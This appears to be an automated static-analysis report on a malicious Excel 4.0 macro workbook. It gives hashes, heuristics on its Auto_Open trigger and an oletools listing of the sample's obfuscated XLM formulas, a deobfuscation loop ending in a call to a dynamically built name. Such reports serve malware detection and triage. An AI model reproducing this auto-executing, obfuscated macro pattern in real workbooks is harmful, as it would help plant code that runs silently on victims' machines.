Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a3f7c1ea0e397c48…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:39:50 Authoring application: Microsoft Excel First seen: 2021-08-25
MD5: f73ec376263276b164b92ae8404ba38f SHA-1: c14fbe5b7678ddf296c7a87ec9bab9129727e402 SHA-256: a3f7c1ea0e397c481df890aba490e6292ef3b0eed82bfa8cf0f26fe1c1f43eed
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled workbook. Heuristics indicate the presence of an Auto_Open defined name, which is a common method for automatically executing malicious code upon opening the workbook. The use of dangerous formula APIs within the XLM macro sheet suggests an attempt to execute arbitrary commands or download further payloads.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6725 bytes
SHA-256: 70baf4234834d7c7db668d05e4861197c5d3e194eb095ad6b37d75d1594969e0
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  vbbPiMs
' 0018     22 LABEL : Cell Value, String Constant - aIxXUDk len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F185 
' 0018     22 LABEL : Cell Value, String Constant - AwAzzPm len=0 
' 0018     27 LABEL : Cell Value, String Constant - cjulZvkXWUny len=0 
' 0018     27 LABEL : Cell Value, String Constant - fsTLjMUGGQSW len=0 
' 0018     26 LABEL : Cell Value, String Constant - GhIRICGJPCr len=0 
' 0018     22 LABEL : Cell Value, String Constant - IbnSvRl len=0 
' 0018     24 LABEL : Cell Value, String Constant - JJpYQkCQg len=0 
' 0018     24 LABEL : Cell Value, String Constant - JpiRetbKU len=0 
' 0018     25 LABEL : Cell Value, String Constant - kmoqlNBbgp len=0 
' 0018     27 LABEL : Cell Value, String Constant - NFmPuRbfzjcu len=0 
' 0018     22 LABEL : Cell Value, String Constant - nhLxWbg len=0 
' 0018     24 LABEL : Cell Value, String Constant - nOTnBvOuV len=0 
' 0018     27 LABEL : Cell Value, String Constant - SQBEWOegcgdz len=0 
' 0018     20 LABEL : Cell Value, String Constant - TIymy len=0 
' 0018     27 LABEL : Cell Value, String Constant - ucBHTCLpMlkl len=0 
' 0018     20 LABEL : Cell Value, String Constant - VIRwm len=0 
' 0018     21 LABEL : Cell Value, String Constant - VrWmZw len=0 
' 0018     20 LABEL : Cell Value, String Constant - vrxuc len=0 
' 0018     22 LABEL : Cell Value, String Constant - yCgKHcv len=0 
' 0018     25 LABEL : Cell Value, String Constant - ykOBBePUhg len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  vbbPiMs,Q58,"",381.00000000000000000000
'  vbbPiMs,Q59,"",-45.00000000000000000000
'  vbbPiMs,Q60,"",-819.00000000000000000000
'  vbbPiMs,Q61,"",-726.00000000000000000000
'  vbbPiMs,Q62,"",-585.00000000000000000000
'  vbbPiMs,Q63,"",-695.00000000000000000000
'  vbbPiMs,F95,"SET.NAME("IbnSvRl",0+VALUE("0"))",""
'  vbbPiMs,F99,"SET.NAME("VIRwm",IbnSvRl)",""
'  vbbPiMs,F103,"SET.NAME("AwAzzPm",IbnSvRl)",""
'  vbbPiMs,F107,"SET.NAME("yCgKHcv",COUNTA(fsTLjMUGGQSW))",""
'  vbbPiMs,F109,"SET.NAME("kmoqlNBbgp",COUNTA(VrWmZw))",""
'  vbbPiMs,F114,[],""
'  vbbPiMs,F119,"SET.NAME("SQBEWOegcgdz","")",""
'  vbbPiMs,F124,"VIRwm",""
'  vbbPiMs,F128,"SET.NAME("ykOBBePUhg",HLOOKUP("*",fsTLjMUGGQSW,VIRwm,FALSE))",""
'  vbbPiMs,F130,"cjulZvkXWUny",""
'  vbbPiMs,F133,"SET.NAME("ucBHTCLpMlkl",IbnSvRl)",""
'  vbbPiMs,F138,[],""
'  vbbPiMs,F142,"ucBHTCLpMlkl",""
'  vbbPiMs,F144,"JpiRetbKU",""
'  vbbPiMs,F146,"nOTnBvOuV",""
'  vbbPiMs,F151,"GhIRICGJPCr",""
'  vbbPiMs,F153,"SET.NAME("JJpYQkCQg",VALUE(HLOOKUP("*",VrWmZw,GhIRICGJPCr,FALSE)))",""
'  vbbPiMs,F155,"aIxXUDk",""
'  vbbPiMs,F158,"SQBEWOegcgdz",""
'  vbbPiMs,F162,"AwAzzPm",""
'  vbbPiMs,F167,NEXT(),""
'  vbbPiMs,F170,"nhLxWbg",""
'  vbbPiMs,F174,[],""
'  vbbPiMs,F176,"vrxuc",""
'  vbbPiMs,F180,NEXT(),""
'  vbbPiMs,F183,RETURN(),""
'  vbbPiMs,F212,"SET.NAME("NFmPuRbfzjcu",F95)",""
'  vbbPiMs,F214,"fsTLjMUGGQSW",""
'  vbbPiMs,F219,"SET.NAME("VrWmZw",R54C11)",""
'  vbbPiMs,F221,"SET.NAME("vrxuc",228)",""
'  vbbPiMs,F223,"SET.NAME("TIymy",6)",""
'  vbbPiMs,F227,NFmPuRbfzjcu(),""
'  vbbPiMs,F228,HALT(),""

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